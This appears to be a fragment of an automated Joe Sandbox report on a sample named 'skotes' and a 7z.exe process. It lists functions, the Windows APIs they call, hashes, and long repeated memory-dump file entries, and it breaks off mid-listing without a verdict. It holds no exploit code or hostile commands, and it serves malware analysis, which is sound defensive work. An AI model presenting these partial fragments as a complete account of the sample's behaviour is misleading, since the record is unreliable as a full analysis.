API String ID: 1464230837-0
Opcode ID: daa248f07f8d5fa8eb8d0cc7b490f43c9a1cbb07a8d2cc1d78cc1a782c9c93c3
Instruction ID: 658b7dc0b5b480739e7572d7acf0ec4e75fd1dc1c35cc16044215fcfdb55f26d
Opcode Fuzzy Hash: daa248f07f8d5fa8eb8d0cc7b490f43c9a1cbb07a8d2cc1d78cc1a782c9c93c3
Instruction Fuzzy Hash: EF214D7234410987E72C5B68DA8AF6DB6A1DF8130CF28242EE444F73C1CB7B99839553

Function 00ECA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b95290fab831a160639b927bc60a47e0a94c66c0f85ca642ef33fe056d41536f
Instruction ID: 0b8e7868abacee651102d1c520bef25db6ec6f9144c4936d552057b322e52f89
Opcode Fuzzy Hash: b95290fab831a160639b927bc60a47e0a94c66c0f85ca642ef33fe056d41536f
Instruction Fuzzy Hash: 1B2148717042489BEB189F6CEE89B6CF761DBC1318F28522DE414F73D0C73799828652

Function 00EFD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00EFA813,00000001,00000364,00000006,000000FF,?,00EFEE3F,?,00000004,00000000,?,?), ref: 00EFD871

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 837c0b1c7c3be1bbbeae2867e7f88a18c943d50fc27503a7867e565fc812ee96
Instruction ID: 507fc1d151b51d99f58dbd2f967e23b62c865a2d930b586be63d066f863421db
Opcode Fuzzy Hash: 837c0b1c7c3be1bbbeae2867e7f88a18c943d50fc27503a7867e565fc812ee96
Instruction Fuzzy Hash: 1DF0893160916DA6EB296B769D02BBB7F9BDF957F1B14A121EF08F7181DA30DC0085E0

Non-executed Functions

Function 00EC2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EC2F5F
GetCurrentThreadId.KERNEL32 ref: 00EC2F7E
__Mtx_unlock.LIBCPMT ref: 00EC2FCC
__Cnd_broadcast.LIBCPMT ref: 00EC2FE3
__Mtx_unlock.LIBCPMT ref: 00EC30F5
GetCurrentThreadId.KERNEL32 ref: 00EC3132
__Mtx_unlock.LIBCPMT ref: 00EC319B

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 68df3238d5e5f106a33b4c0dd9f963d49e2a52c4ebe8b90319be213602bf49f6
Instruction ID: b533e5a1bfee4eef9659c9242b6ba3ad93401655092600a2141df9cdc29fedcd
Opcode Fuzzy Hash: 68df3238d5e5f106a33b4c0dd9f963d49e2a52c4ebe8b90319be213602bf49f6
Instruction Fuzzy Hash: 94A1E171A016069FDB20DF74CA45B9AB7E8FF14358F14A12EE815E7341EB32DA06CB91

Function 00EFCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EFCC66

Strings

v, xrefs: 00EFCBE1

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v
API String ID: 3213747228-1361604894
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: f5530a69dab17ef92fac6b6929f31fdd68290eace9acb73ed14f7109ece3cf9f
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: FAB11232A0064D9FDB15CF28C9817BEBBE5EF45344F3491AADA45FB281D6358D02CB60

Function 00EDBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00EDBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00EDBBE4
_xtime_get.LIBCPMT ref: 00EDBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00EDBC13

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: a2a1b3c7ff58c76e6d766d332b9c2a74cc2ff64876315e13e9b940b132a59bd9
Instruction ID: 3bb4dc9094f4af0c1ee2d3f40bc1e5a0e46e1a28f21fd4570aaa32a83811b47c
Opcode Fuzzy Hash: a2a1b3c7ff58c76e6d766d332b9c2a74cc2ff64876315e13e9b940b132a59bd9
Instruction Fuzzy Hash: A1210A71A0011AAFDF00EFA4D981AFEB7B9EF48754F615026F901B7361DB709D429BA0

Analysis Process: 7z.exePID: 6080, Parent PID: 3020COMMON

Executed Functions

Function 00C48817 Relevance: 130.3, APIs: 62, Strings: 12, Instructions: 780COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C48826
GetStdHandle.KERNEL32 ref: 00C4887D
GetConsoleScreenBufferInfo.KERNELBASE ref: 00C4888E
_CxxThrowException.MSVCRT ref: 00C489BD

Strings

, xrefs: 00C48FD6
Hashers:, xrefs: 00C492B6
offset=, xrefs: 00C48ECF
Can't load module: , xrefs: 00C48A04
|| , xrefs: 00C48F0B
7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 00C4881F
7-Zip cannot find the code that works with archives., xrefs: 00C48A54
KSNFMGOPBELH, xrefs: 00C48CDC, 00C48D4A
Libs:, xrefs: 00C48C5B
Unsupported archive type, xrefs: 00C48AAD, 00C48BB8
Codecs:, xrefs: 00C4903E
Formats:, xrefs: 00C48CC7

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: BufferConsoleExceptionHandleInfoScreenThrowfputs
String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$ $ || $7-Zip cannot find the code that works with archives.$Can't load module: $Codecs:$Formats:$Hashers:$KSNFMGOPBELH$Libs:$Unsupported archive type$offset=
API String ID: 3442115484-272389550
Opcode ID: afb9cc6d2aba557fd5c28d6c75725cc50b14ac0dfada8b8986538d3579b498c0
Instruction ID: 77d537cb97ac5c6ff48a953cf81475363fda291497055ba46a93c1c6a8271fcb
Opcode Fuzzy Hash: afb9cc6d2aba557fd5c28d6c75725cc50b14ac0dfada8b8986538d3579b498c0
Instruction Fuzzy Hash: 3E729276304A8186DB34EF25E8907AE73A1F789BC0F409116DB9A47B69DF3CC54ADB40

Function 00C224C0 Relevance: 102.2, APIs: 81, Instructions: 981COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C226E4
free.MSVCRT ref: 00C226EF
